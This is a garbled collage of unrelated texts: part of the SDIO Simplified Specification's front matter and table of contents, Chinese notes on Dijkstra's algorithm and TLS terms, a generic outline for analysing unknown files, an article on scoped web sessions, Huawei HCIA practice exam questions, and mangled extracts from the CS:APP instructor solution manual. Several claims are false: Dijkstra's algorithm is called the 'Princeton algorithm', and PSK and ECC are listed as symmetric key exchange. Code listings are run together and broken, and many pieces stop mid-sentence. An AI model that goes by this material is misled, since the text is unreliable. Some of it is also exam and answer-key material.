04_DS and Algorithm_session_05

f in eo nIn fio nI n fTechnical Committee SD Card Associationf in eo nIn fi ne o n I nf in eo nIRevision HistoryDate Version Changes compared to previous issueApril 3, 2006 1.10 Simplified Version Initial ReleaseFebruary 8, 20072.00(1) Added method to change bus speed (Normal Speed up to 25MHzand High Speed up to 50 MHz)(2) Operational Voltage Requirement is extended to 2.7-3.6V(3) Combine sections 12 (Physical Properties) and 13 (MechanicalExtensions) and add miniSDIO to the new section 13 (Physical Properties)(4) Add Embedded SDIO ATA Standard Function Interface Code (5) Reference of Physical Ver2.00 supports SDHC combo card. (6) Some typos in Ver1.10 are fixed.f in eo nIn fi ne o n I nf in eo nI Release of SD Simplified SpecificationThe following conditions apply to the release of the SD simplified specification ("Simplified Specification") by the SD Card Association. The Simplified Specification is a subset of the complete SD Specification which is owned by the SD Card Association.Publisher:SD Association2400 Camino Ramon, Suite 375 San Ramon, CA 94583 USA Telephone: +1 (925) 275-6615 Fax: +1 (925) 886-4870 E-mail: office@Copyright Holder: The SD Card AssociationNotes:This Simplified Specification is provided on a non-confidential basis subject to the disclaimers below. Any implementation of the Simplified Specification may require a license from the SD Card Association or other third parties.Disclaimers:The information contained in the Simplified Specification is presented only as a standard specification for SD Cards and SD Host/Ancillary products and is provided "AS-IS" without any representations or warranties of any kind. No responsibility is assumed by the SD Card Association for any damages, any infringements of patents or other right of the SD Card Association or any third parties, which may result from its use. No license is granted by implication, estoppel or otherwise under any patent or other rights of the SD Card Association or any third party. Nothing herein shall be construed as an obligation by the SD Card Association to disclose or distribute any technical information, know-how or other confidential information to any third party.f in eo nIn fi ne o n I nf in eo nConventions Used in This DocumentNaming ConventionsSome terms are capitalized to distinguish their definition from their common English meaning. Words not capitalized have their common English meaning.Numbers and Number BasesHexadecimal numbers are written with a lower case “h” suffix, e.g., FFFFh and 80h. Binary numbers are written with a lower case “b” suffix (e.g., 10b).Binary numbers larger than four digits are written with a space dividing each group of four digits, as in 1000 0101 0010b.All other numbers are decimal.Key WordsMay: Indicates flexibility of choice with no implied recommendation or requirement.Shall: Indicates a mandatory requirement. Designers shall implement such mandatory requirements to ensure interchangeability and to claim conformance with the specification.Should: Indicates a strong recommendation but not a mandatory requirement. Designers should give strong consideration to such recommendations, but there is still a choice in implementation.Application NotesSome sections of this document provide guidance to the host implementers as follows: Application Note:This is an example of an application note.f in eo nIn fi ne o n I nf in eo nTable of Contents1. General Description.................................................................................................................................1 1.1 SDIO Features....................................................................................................................................1 1.2 Primary Reference Document.............................................................................................................1 1.3 Standard SDIO Functions....................................................................................................................1 2. SDIO Signaling Definition........................................................................................................................2 2.1 SDIO Card Types................................................................................................................................2 2.2 SDIO Card modes...............................................................................................................................2 2.2.1 SPI (Card mandatory support).....................................................................................................2 2.2.2 1-bit SD Data Transfer Mode (Card Mandatory Support).............................................................2 2.2.3 4-bit SD Data Transfer Mode (Mandatory for High-Speed Cards, Optional for Low-Speed).........2 2.3 SDIO Host Modes...............................................................................................................................2 2.4 Signal Pins..........................................................................................................................................3 3. SDIO Card Initialization............................................................................................................................4 3.1 Differences in I/O card Initialization.....................................................................................................4 3.2 The IO_SEND_OP_COND Command (CMD5).................................................................................10 3.3 The IO_SEND_OP_COND Response (R4)........................................................................................11 3.4 Special Initialization considerations for Combo Cards.......................................................................12 3.4.1 Re-initialize both I/O and Memory..............................................................................................12 3.4.2 Using a Combo Card as SDIO only or SD Memory only after Combo Initialization....................12 3.4.3 Acceptable Commands after Initialization..................................................................................12 3.4.4 Recommendations for RCA after Reset.....................................................................................12 3.4.5 Enabling CRC in SPI Combo Card.............................................................................................14 4. Differences with SD Memory Specification..........................................................................................15 4.1 SDIO Command List.........................................................................................................................15 4.2 Unsupported SD Memory Commands...............................................................................................15 4.3 Modified R6 Response......................................................................................................................16 4.4 Reset for SDIO..................................................................................................................................16 4.5 Bus Width..........................................................................................................................................16 4.6 Card Detect Resistor.........................................................................................................................17 4.7 Timings..............................................................................................................................................17 4.8 Data Transfer Block Sizes.................................................................................................................18 4.9 Data Transfer Abort...........................................................................................................................18 4.9.1 Read Abort.................................................................................................................................18 4.9.2 Write Abort.................................................................................................................................18 4.10 Changes to SD Memory Fixed Registers..........................................................................................18 4.10.1 OCR Register.............................................................................................................................19 4.10.2 CID Register...............................................................................................................................19 4.10.3 CSD Register.............................................................................................................................19 4.10.4 RCA Register.............................................................................................................................19 4.10.5 DSR Register.............................................................................................................................19 4.10.6 SCR Register.............................................................................................................................19 4.10.7 SD Status...................................................................................................................................19 4.10.8 Card Status Register..................................................................................................................19 5. New I/O Read/Write Commands............................................................................................................21 5.1 IO_RW_DIRECT Command (CMD52)..............................................................................................21 5.2 IO_RW_DIRECT Response (R5)......................................................................................................22 5.2.1 CMD52 Response (SD modes)..................................................................................................22 5.2.2 R5, IO_RW_DIRECT Response (SPI mode).............................................................................23 5.3 IO_RW_EXTENDED Command (CMD53). (24)f in eo nIn fi ne o n I nf in eo nI 5.3.2 Special Timing for CMD53 Multi-Block Read..............................................................................25 6. SDIO Card Internal Operation................................................................................................................26 6.1 Overview...........................................................................................................................................26 6.2 Register Access Time........................................................................................................................26 6.3 Interrupts...........................................................................................................................................26 6.4 Suspend/Resume..............................................................................................................................27 6.5 Read Wait..........................................................................................................................................27 6.6 CMD52 During Data Transfer............................................................................................................27 6.7 SDIO Fixed Internal Map...................................................................................................................27 6.8 Common I/O Area (CIA)....................................................................................................................28 6.9 Card Common Control Registers (CCCR).........................................................................................28 6.10 Function Basic Registers (FBR)........................................................................................................35 6.11 Card Information Structure (CIS).......................................................................................................37 6.12 Multiple Function SDIO Cards...........................................................................................................37 6.13 Setting Block Size with CMD53.........................................................................................................37 6.14 Bus State Diagram............................................................................................................................38 7. Embedded I/O Code Storage Area (CSA).............................................................................................39 7.1 CSA Access.......................................................................................................................................39 7.2 CSA Data Format..............................................................................................................................39 8. SDIO Interrupts.......................................................................................................................................40 8.1 Interrupt Timing.................................................................................................................................40 8.1.1 SPI and SD 1-bit Mode Interrupts ..............................................................................................40 8.1.2 SD 4-bit Mode............................................................................................................................40 8.1.3 Interrupt Period Definition ..........................................................................................................40 8.1.4 Interrupt Period at the Data Block Gap in 4-bit SD Mode (Optional)..........................................40 8.1.5 Inhibited Interrupts (Removed Section)......................................................................................40 8.1.6 End of Interrupt Cycles...............................................................................................................40 8.1.7 Terminated Data Transfer Interrupt Cycle ..................................................................................41 8.1.8 Interrupt Clear Timing.................................................................................................................41 9. SDIO Suspend/Resume Operation........................................................................................................42 10. SDIO Read Wait Operation.....................................................................................................................43 11. Power Control.........................................................................................................................................44 11.1 Power Control Overview....................................................................................................................44 11.2 Power Control support for SDIO Cards.............................................................................................44 11.2.1 Master Power Control ................................................................................................................44 11.2.2 Power Selection.........................................................................................................................45 11.2.3 High-Power Tuples.....................................................................................................................45 11.3 Power Control Support for the SDIO Host.........................................................................................45 11.3.1 Version 1.10 Host.......................................................................................................................45 11.3.2 Power Control Operation............................................................................................................46 12. High-Speed Mode...................................................................................................................................47 12.1 SDIO High-Speed Mode....................................................................................................................47 12.2 Switching Bus Speed Mode in a Combo Card...................................................................................47 13. SDIO Physical Properties......................................................................................................................48 13.1 SDIO Form Factors...........................................................................................................................48 13.2 Full-Size SDIO ..................................................................................................................................48 13.3 miniSDIO...........................................................................................................................................48 14. SDIO Power.............................................................................................................................................48 14.1 SDIO Card Initialization Voltages......................................................................................................48 14.2 SDIO Power Consumption................................................................................................................48 15. Inrush Current Limiting..........................................................................................................................50 16. CIS Formats.. (51)f in eo nIn fi ne o n I nf in eo nI 16.2 Basic Tuple Format and Tuple Chain Structure.................................................................................51 16.3 Byte Order Within Tuples ..................................................................................................................51 16.4 Tuple Version ....................................................................................................................................52 16.5 SDIO Card Metaformat......................................................................................................................52 16.6 CISTPL_MANFID: Manufacturer Identification String Tuple..............................................................53 16.7 SDIO Specific Extensions..................................................................................................................53 16.7.1 CISTPL_FUNCID: Function Identification Tuple.........................................................................53 16.7.2 CISTPL_FUNCE: Function Extension Tuple..............................................................................54 16.7.3 CISTPL_FUNCE Tuple for Function 0 (common).......................................................................54 16.7.4 CISTPL_FUNCE Tuple for Function 1-7....................................................................................55 16.7.5 CISTPL_SDIO_STD: Function is a Standard SDIO Function.....................................................58 16.7.6 CISTPL_SDIO_EXT: Tuple Reserved for SDIO Cards...............................................................58 Appendix A.....................................................................................................................................................59 A.1 SD and SPI Command List....................................................................................................................59 Appendix B.....................................................................................................................................................61 B.1 Normative References...........................................................................................................................61 Appendix C.....................................................................................................................................................62 C.1 Abbreviations and Terms...................................................................................................................62 Appendix D.. (64)f in eo nIn fi ne o n I nf in eo nI Table of TablesTable 3-1 OCR Values for CMD5.....................................................................................................................10 Table 4-1 Unsupported SD Memory Commands.............................................................................................16 Table 4-2 R6 response to CMD3.....................................................................................................................16 Table 4-3 SDIO R6 Status Bits.........................................................................................................................16 Table 4-4 Combo Card 4-bit Control................................................................................................................17 Table 4-5 Card Detect Resistor States.............................................................................................................17 Table 4-6 is blanked.........................................................................................................................................17 Table 4-7 SDIO Status Register Structure .......................................................................................................20 Table 5-1 Flag data for IO_RW_DIRECT SD Response..................................................................................23 Table 5-2 IO_RW_ EXTENDED command Op Code Definition.......................................................................24 Table 5-3 Byte Count Values ...........................................................................................................................25 Table 6-1 Card Common Control Registers (CCCR).......................................................................................29 Table 6-2 CCCR bit Definitions........................................................................................................................34 Table 6-3 Function Basic Information Registers (FBR)....................................................................................35 Table 6-4 FBR bit and field definitions.............................................................................................................36 Table 6-5 Card Information Structure (CIS) and reserved area of CIA.............................................................37 Table 11-1 Reference Tuples by Master Power Control and Power Select......................................................45 Table 16-1 Basic Tuple Format........................................................................................................................51 Table 16-2 Tuples Supported by SDIO Cards..................................................................................................52 Table 16-3 CISTPL_MANFID: Manufacturer Identification Tuple.....................................................................53 Table 16-4 CISTPL_FUNCID Tuple.................................................................................................................53 Table 16-5 CISTPL_FUNCE Tuple General Structure.....................................................................................54 Table 16-6 TPLFID_FUNCTION Tuple for Function 0 (common)....................................................................54 Table 16-7 TPLFID_FUNCTION Field Descriptions for Function 0 (common).................................................54 Table 16-8 TPLFID_FUNCTION Tuple for Function 1-7..................................................................................55 Table 16-9 TPLFID_FUNCTION Field Descriptions for Functions 1-7.............................................................57 Table 16-10 TPLFE_FUNCTION_INFO Definition...........................................................................................57 Table 16-11 TPLFE_CSA_PROPERTY Definition...........................................................................................57 Table 16-12 CISTPL_SDIO_STD: Tuple Reserved for SDIO Cards................................................................58 Table 16-13 CISTPL_SDIO_EXT: Tuple Reserved for SDIO Cards.................................................................58 Table A-14 SD Mode Command List................................................................................................................59 Table A-15 SPI Mode Command List (60)f in eo nIn fi ne o n I nf in eo nI Table of FiguresFigure 2-1 Signal connection to two 4-bit SDIO cards.......................................................................................3 Figure 3-1 SDIO response to non-I/O aware initialization..................................................................................4 Figure 3-2 Card initialization flow in SD mode (SDIO aware host)....................................................................7 Figure 3-3 Card initialization flow in SPI mode (SDIO aware host)....................................................................9 Figure 3-4 IO_SEND_OP_COND Command (CMD5).....................................................................................10 Figure 3-5 Response R4 in SD mode...............................................................................................................11 Figure 3-6 Response R4 in SPI mode..............................................................................................................11 Figure 3-7 Modified R1 Response....................................................................................................................11 Figure 3-8 Re-Initialization Flow for I/O Controller...........................................................................................13 Figure 3-9 Re-Initialization Flow for Memory controller ...................................................................................13 Figure 5-1 IO_RW_DIRECT Command...........................................................................................................21 Figure 5-2 R5 IO_RW_DIRECT Response (SD modes)..................................................................................22 Figure 5-3 IO_RW_DIRECT Response in SPI Mode.......................................................................................23 Figure 5-4 IO_RW_EXTENDED Command.....................................................................................................24 Figure 6-1 SDIO Internal Map..........................................................................................................................28 Figure 6-2 State Diagram for Bus State Machine (38)f in eo nIn fi ne o n I nf in eo nI 1. General DescriptionThe SDIO (SD Input/Output) card is based on and compatible with the SD memory card. This compatibility includes mechanical, electrical, power, signaling and software. The intent of the SDIO card is to provide high-speed data I/O with low power consumption for mobile electronic devices. A primary goal is that an SDIO card inserted into a non-SDIO aware host shall cause no physical damage or disruption of that host or it’s software. In this case, the SDIO card should simply be ignored. Once inserted into an SDIO aware host, the detection of the card proceeds via the normal means described in this specification with some extensions. In this state, the SDIO card is idle and draws a small amount of power (15 mA averaged over 1 second). During the normal initialization and interrogation of the card by the host, the card identifies itself as an SDIO card. The host software then obtains the card information in a tuple (linked list) format and determines if that card’s I/O function(s) are acceptable to activate. This decision is based on such parameters as power requirements or the availability of appropriate software drivers. If the card is acceptable, it is allowed to power up fully and start the I/O function(s) built into it.1.1 SDIO Features• Targeted for portable and stationary applications• Minimal or no modification to SD Physical bus is required • Minimal change to memory driver software• Extended physical form factor available for specialized applications • Plug and play (PnP) support• Multi-function support including multiple I/O and combined I/O and memory • Up to 7 I/O functions plus one memory supported on one card. • Allows card to interrupt host• Operational Voltage range: 2.7-3.6V (Operational Voltage is used for Initialization) • Application Specifications for Standard SDIO Functions. • Multiple Form Factors:• Full-Size SDIO • miniSDIO1.2 Primary Reference DocumentThis specification is based on and refers extensively to the SDA document:SD Memory Card SpecificationsPart 1 PHYSICAL LAYER SPECIFICATION Version 2.00 May 9, 2006The reader is directed to this document for more information on the basic operation of SD cards. In addition, other documents are referenced in this specification. A complete list can be found in appendix B.1.This specification can apply to any released versions of Physical Layer Specification after Version 2.00.1.3 Standard SDIO FunctionsAssociated with the base SDIO specification, there are several Application Specifications for Standard SDIO Functions. These common functions such as cameras, Bluetooth cards and GPS receivers have a standard register interface, a common operation method and a standard CIS extension. Implementation of the standard interfaces are optional for any card vendor, but compliance with the standard allows the use of standard drivers and applications which will increase the appeal of these cards to the consumer. Full information on these standard interfaces can be found in the Application Specifications for Standard SDIO Functions maintained by the SDA.。

普林斯顿算法
普林斯顿算法是一种用于解决最短路径问题的一种经典算法，也称为迪杰斯特拉算法。

它是一种贪婪算法，逐步构建最短路径树，从起始节点开始，依次选择与当前节点距离最近的节点，并更新该节点到其他节点的距离。

通过不断选择最短路径上的节点，最终得到起点到各个节点的最短路径。

普林斯顿算法的基本步骤如下：
1. 创建一个距离列表distances，用于保存起始节点到各个节点的最短距离，初始值为无穷大（表示未知路径）。

2. 创建一个前驱列表predecessors，用于保存路径上每个节点
的前驱节点，初始值为None。

3. 将起始节点的距离设置为0，即distances[start_node] = 0。

4. 选择距离最短且未被访问的节点作为当前节点。

5. 更新当前节点到邻居节点的距离，如果新的距离比原来的距离小，则更新距离和前驱节点。

6. 标记当前节点为已访问。

7. 重复步骤4-6直到所有节点都被访问。

8. 根据distances和predecessors构建最短路径。

普林斯顿算法的时间复杂度为O(V^2)，其中V为节点数。

它
适用于处理节点数不太大的图，但在节点数非常大时，性能可能较差。

为了提高效率，还有一种优化的算法称为堆优化的迪杰斯特拉算法，它使用优先队列来选择最短距离的节点，使得时间复杂度降为O((V+E)logV)，其中E为边数。

TLS参数术语介绍TLS（Transport Layer Security）是一种用于保护网络通信的协议，它在传输层上提供了安全的数据传输。

TLS使用了多种加密算法和安全机制来确保通信的保密性、完整性和身份验证。

在TLS中有一些重要的参数和术语，下面将对这些参数和术语进行介绍。

1. 密码套件（Cipher Suite）密码套件是指TLS使用的加密算法和密钥交换算法的集合。

一个密码套件通常包括对称加密算法、散列算法、密钥交换算法和数字签名算法等。

在TLS握手过程中，客户端和服务器会协商选择一个适合双方的密码套件进行通信。

2. 对称加密算法（Symmetric Encryption Algorithm）对称加密算法是指在加密和解密时使用相同的密钥的算法。

在TLS中常用的对称加密算法有AES（Advanced Encryption Standard）、3DES （Triple Data Encryption Algorithm）和RC4（Rivest Cipher 4）等。

3. 散列算法（Hash Algorithm）散列算法是将任意长度的数据映射到一个固定长度的结果的算法。

在TLS中，散列算法用于计算消息摘要，以确保数据的完整性和一致性。

常用的散列算法有MD5（Message Digest Algorithm 5）和SHA（Secure Hash Algorithm）等。

4. 密钥交换算法（Key Exchange Algorithm）密钥交换算法是用于在通信双方之间安全地传递秘密密钥的算法。

在TLS中，密钥交换算法可以分为两种类型：非对称密钥交换算法和对称密钥交换算法。

常用的非对称密钥交换算法有RSA（Rivest-Shamir-Adleman）和Diffie-Hellman等，而常用的对称密钥交换算法有Pre-Shared Key（PSK）和Elliptic Curve Cryptography（ECC）等。

解题思路：
1.文件类型识别：首先，我们需要确定这个不明文件的类型。

可以通过文件的
扩展名或者使用工具如file命令来进行识别。

2.静态分析：如果文件是可执行文件，我们可以使用静态分析工具来查看其反
汇编代码、导入表、字符串等，以获取更多信息。

3.动态分析：如果文件是动态链接库（DLL）或共享对象（SO），我们可以尝
试加载到调试器中，观察其在运行时的行为。

4.搜索已知漏洞：如果文件是已知的恶意软件或利用了已知漏洞，我们可以使
用搜索引擎或漏洞数据库进行查询。

5.网络通信：如果文件是网络相关的，我们可以观察其网络通信行为，例如发
送了哪些数据、连接了哪些服务器等。

6.权限提升：如果文件具有系统级权限，我们可以尝试利用其他系统漏洞来提
升权限，从而获取更多信息。

7.社工手段：如果以上方法都无法获取更多信息，我们可以尝试通过社交工程
手段来获取更多背景信息。

8.报告输出：最后，整理所有的信息，形成详细的报告，包括文件类型、分析
过程、可能的风险等。

scoped session is already present -回复Scoped Session: An In-Depth ExplanationIntroduction:In today's digital age, ensuring secure and reliable access to web applications has become crucial. One of the commonly used techniques to achieve this is by implementing a scoped session. In this article, we will explore what a scoped session is, its significance, and how it functions to enhance security and user experience. So, let's dive right in!What is a Scoped Session?A scoped session refers to a temporary and limited-duration session created for a user when they access a web application. It acts as a virtual container that holds data related to the user's session state, preferences, and other necessary information. Each user is assigned a unique session ID, which allows the server to identify and track the user's activity throughout their session.Why are Scoped Sessions Important?Scoped sessions play a vital role in ensuring the security and reliability of web applications. By creating a separate session for each user, the risk of unauthorized access and information leakage is significantly reduced. Scoped sessions restrict the scope of session data, preventing it from being accessed or manipulated by other users. These sessions also enhance the user experience by maintaining session state and preferences across multiple pages, allowing the user to seamlessly interact with the application.How Does a Scoped Session Work?1. Session Initialization:When a user accesses a web application, the server creates a unique session ID for that user. This session ID is either generated randomly or using an algorithm that ensures uniqueness. The session ID is then stored on the server and sent back to the user's browser as a cookie or parameter in the URL.2. Request Processing:As the user interacts with the web application, subsequent requests are sent to the server along with their session ID. Thisallows the server to retrieve the specific session associated with that user and process the request accordingly. The data stored within the session, such as authentication credentials or user preferences, can be accessed and utilized.3. Session Expiration:To prevent sessions from persisting indefinitely, scoped sessions are designed with an expiration mechanism. A session can have a fixed expiration time, such as after 30 minutes of inactivity, or it can be renewed with each user interaction. When a session expires, its data is typically deleted from the server, ensuring that sensitive information is not retained longer than necessary.4. Session Termination:Users can actively terminate their sessions by logging out or closing the browser. In such cases, the session ID is invalidated, and all associated session data is immediately removed from the server. This step is crucial in protecting user accounts from unauthorized access, especially when using shared or public computers.Best Practices for Implementing Scoped Sessions:1. Secure Session Management:Implement mechanisms to prevent session hijacking and unauthorized access. Use secure cookies that are not susceptible to tampering and employ encryption techniques to protect session data during transit.2. Validate User Input:Implement robust input validation to prevent injection attacks that may exploit session handling mechanisms. Ensure that session IDs cannot be manipulated through input fields.3. Secure Session Storage:Store session data securely on the server. Use encryption and access control techniques to protect the confidentiality and integrity of the stored data.4. Regular Session Expiration:Configure appropriate session timeout values to ensure sessions expire after an appropriate period of user inactivity. This helps reduce the risk of unauthorized access and ensures sensitive session data is not retained indefinitely.Conclusion:In summary, a scoped session is a crucial component of ensuring secure and uninterrupted access to web applications. By assigning a unique session ID to each user and limiting the data accessible within a session, scoped sessions enhance security and provide a seamless user experience. Developing and implementing scoped session mechanisms following best practices helps protect both users and applications from potential security threats.。

华为认证ICT工程师HCIA考试(习题卷10)说明：答案和解析在试卷最后第1部分：单项选择题，共105题，每题只有一个正确答案,多选或少选均不得分。

1.[单选题]通常提供应用运行开发环境的服务属于哪个层面的云服务?A)IaaSB)PaaSC)SaaS2.[单选题]下列关于Adhoc会议描述错误的是()A)在预约Adhoc会议时,需分别设置主席密码和会议激活密码。

B)Adhoc会议是通过终端侧激活会议并加入会议的一种会议方式。

C)使用Adhoc会议前需要新建Adhoc会议模板。

D)Adhoc会议在未激活的情况下,不占用MCU资源。

3.[单选题]以下关于华为Fusion Computer HA描述不正确的是（）A)虚拟机的数据如果保存在共享存储內，发生故障时保存的数据不会失B)该功能支持虚拟机故障后自动重启C)系统周期检测虚拟机状态，当物理服务器故障引|起虚拟机故障时，系统可以将虚拟机迁移到其他物理服务器重新启动，保证虚拟机能够快速恢复D)管理员可以根据虚拟机的重要程度，设置不同的HA策略4.[单选题]以下不属于Tensor Flow 2.0的特点是?A)多核CPU加速B)分布式C)多语言D)多平台5.[单选题]下列RAID级别数据冗余能力最弱的是（）A)RAID 1B)RAID 6C)RAID 0D)RAID 56.[单选题]如果应用层协议为Telnet，那么IPv4首部中Protocol字段取值为？A)17B)67C)53D)67.[单选题]在很多小文件场景下,Spark会起很多Task,当SQL逻辑中存在Shuffle操作时,会大大増加hash分桶数,严重影A)group byB)coalosceC)connectD)join8.[单选题]按华为云服务的划分,哪项云服务不属于计算云服务?A)弹性云服务B)弹性伸缩云服务C)虚拟私有云D)裸金属服务9.[单选题]以下哪项不是链接克隆虚拟机的特点?（）A)当需要对虚拟机的软件进行维护时，必须对每台虚拟机进行操作。

Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in 